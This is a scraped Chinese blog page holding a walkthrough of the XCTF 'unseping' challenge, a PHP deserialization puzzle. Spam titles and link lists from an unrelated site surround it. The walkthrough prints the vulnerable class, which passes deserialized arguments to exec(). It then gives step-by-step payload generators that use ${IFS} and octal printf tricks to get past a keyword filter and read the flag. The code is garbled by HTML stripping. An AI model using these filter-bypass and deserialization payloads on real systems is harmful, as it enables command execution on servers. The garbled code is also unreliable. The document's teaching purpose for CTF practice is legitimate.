当前位置: 首页 > news >正文

搭建网站复杂吗百度竞价广告的位置

搭建网站复杂吗,百度竞价广告的位置,北京做网站哪个好,百度站长平台注册导言#xff1a; 本文主要讲述在CTF竞赛中#xff0c;web类反序列化题目unseping。。 靶场链接#xff1a;攻防世界 (xctf.org.cn) 反序列化漏洞#xff1a;反序列化漏洞#xff08;二#xff09;_fst反序列化 rocksdb 字段值错误-CSDN博客 打开后可以看到#xff1…导言 本文主要讲述在CTF竞赛中web类反序列化题目unseping。。 靶场链接攻防世界 (xctf.org.cn) 反序列化漏洞反序列化漏洞二_fst反序列化 rocksdb 字段值错误-CSDN博客 打开后可以看到 可以看到是一段php代码根据这段代码可以看到这是一段反序列化题目。 并且在名为waf的函数中过滤了大部分的特殊字符。 并且是使用传参名为ctf的post类型传参。 ?php highlight_file(__FILE__);class ease{// 定义私有变量private $method;private $args;// 构造函数接收两个参数function __construct($method, $args) {$this-method $method;$this-args $args;}// 析构函数当对象被销毁时调用function __destruct(){// 如果方法在数组中则调用该方法if (in_array($this-method, array(ping))) {call_user_func_array(array($this, $this-method), $this-args);}} // ping方法接收一个参数执行exec函数function ping($ip){exec($ip, $result);var_dump($result);}// waf方法接收一个参数使用正则表达式进行过滤function waf($str){if (!preg_match_all(/(\|||;| |\/|cat|flag|tac|php|ls)/, $str, $pat_array)) {return $str;} else {echo dont hack;}}// __wakeup方法当对象被反序列化时调用function __wakeup(){// 遍历args数组对每个元素进行waf过滤foreach($this-args as $k $v) {$this-args[$k] $this-waf($v);}} }// 接收POST参数ctf $ctf$_POST[ctf]; // 对ctf进行base64解码并反序列化 unserialize(base64_decode($ctf)); ? 此时就知道我们应该通过命令执行获取flag且绕过waf函数的过滤最后将序列化的payload并进行base64编码最后利用post请求进行发送即可 所以使用hackbar打开并选择post型传参。 构造payload ?php// 定义一个类ease class ease{// 定义私有变量method和argsprivate $method;private $args;// 构造函数接收两个参数method和argsfunction __construct($method, $args) {$this-method $method;$this-args $args;}} // 创建一个ease对象参数为ping和array(ls) $a new ease(ping,array(ls)); // 将对象序列化 $b serialize($a); // 输出序列化后的对象 echo $b; echo/br; // 将序列化后的对象进行base64编码 echo base64_encode($b); ? 将其运行后可以得到payload 使用hackbar发送后可以看到 flag在flag_1s_here文件夹内查看此文件夹的payload为 ?php class ease{// 定义私有变量method和argsprivate $method;private $args;// 构造函数接收两个参数method和argsfunction __construct($method, $args) {$this-method $method;$this-args $args;}}// 创建ease对象参数为ping和array(ls${IFS}flag_1s_here) $onew ease(ping,array(ls${IFS}flag_1s_here)); // 将对象序列化 $s serialize($o); // 将序列化后的对象进行base64编码 echo base64_encode($s); ? flag在flag_831b69012c67b35f.php文件夹内。 此时payload为 ?php// 定义一个名为ease的类 class ease{ // 定义两个私有属性 private $method; private $args; // 构造函数接受两个参数 function __construct($method, $args) {$this-method $method;$this-args $args; }} // 创建一个ease对象参数为ping和数组 $a new ease(ping,array(cat${IFS}flag_1s_here$(printf${IFS}\57)flag_831b69012c67b35f.php)); // 将对象序列化 $b serialize($a); // 输出序列化后的对象 echo $b; echo/br; // 将序列化后的对象进行base64编码 echo base64_encode($b); ?得到flag。
http://www.zqtcl.cn/news/720859/

相关文章:

  • 广东建设信息公开网站怎样策划一个营销型网站
  • 魔兽做图下载网站如何经营一个购物网站
  • 深圳做网站哪个平台好一级消防工程师考试题型
  • 网站婚礼服务态网站建设论文网站设计有限公司是干嘛的
  • 邯郸网站建设效果好广西做网站的公司
  • 网站logo上传营销型网站制作方案
  • 小说网站静态模板站长工具seo综合查询adc
  • 北京响应式网站做logo那个网站
  • 如何申请免费网站空间刚察县wap网站建设公司
  • 哪里有网站推广软件免费推广seo策略方法
  • 阿里云备案网站 网站名称怎么写京icp备案查询
  • 网站开发岗位思维导图alexa排名
  • 自适应网站建设济南济南网站建设公司
  • 巴州网站建设库尔勒网站建设钟爱网络杭州微信网站制作
  • 52做网站南京市住房城乡建设门户网站
  • 网站开发精品课程贵阳市白云区官方网站
  • seo整站优化服务会计培训班一般收费多少
  • 批量网站访问检测怎么做好手机网站开发
  • 深圳网站建设公司哪家比较好shortcodes wordpress
  • 网站内链越多越好嘛可以做3d电影网站
  • 企业网站需求文档微商引流客源最快的方法
  • 交互式网站备案业务网站在线生成
  • 自建网站百度个人网站如何在百度上做推广
  • 如何安装wordpress模板竞价网站做seo
  • 做论坛网站如何赚钱电子商务营销推广
  • 想要自己做一个网站怎么做济宁百度网站建设
  • 海会网络建设网站wordpress刷不出图片
  • 一个人做商城网站网站推广的几个阶段
  • 做国学类网站合法吗html5教程pdf下载
  • 云南省文化馆网站建设二级域名分发平台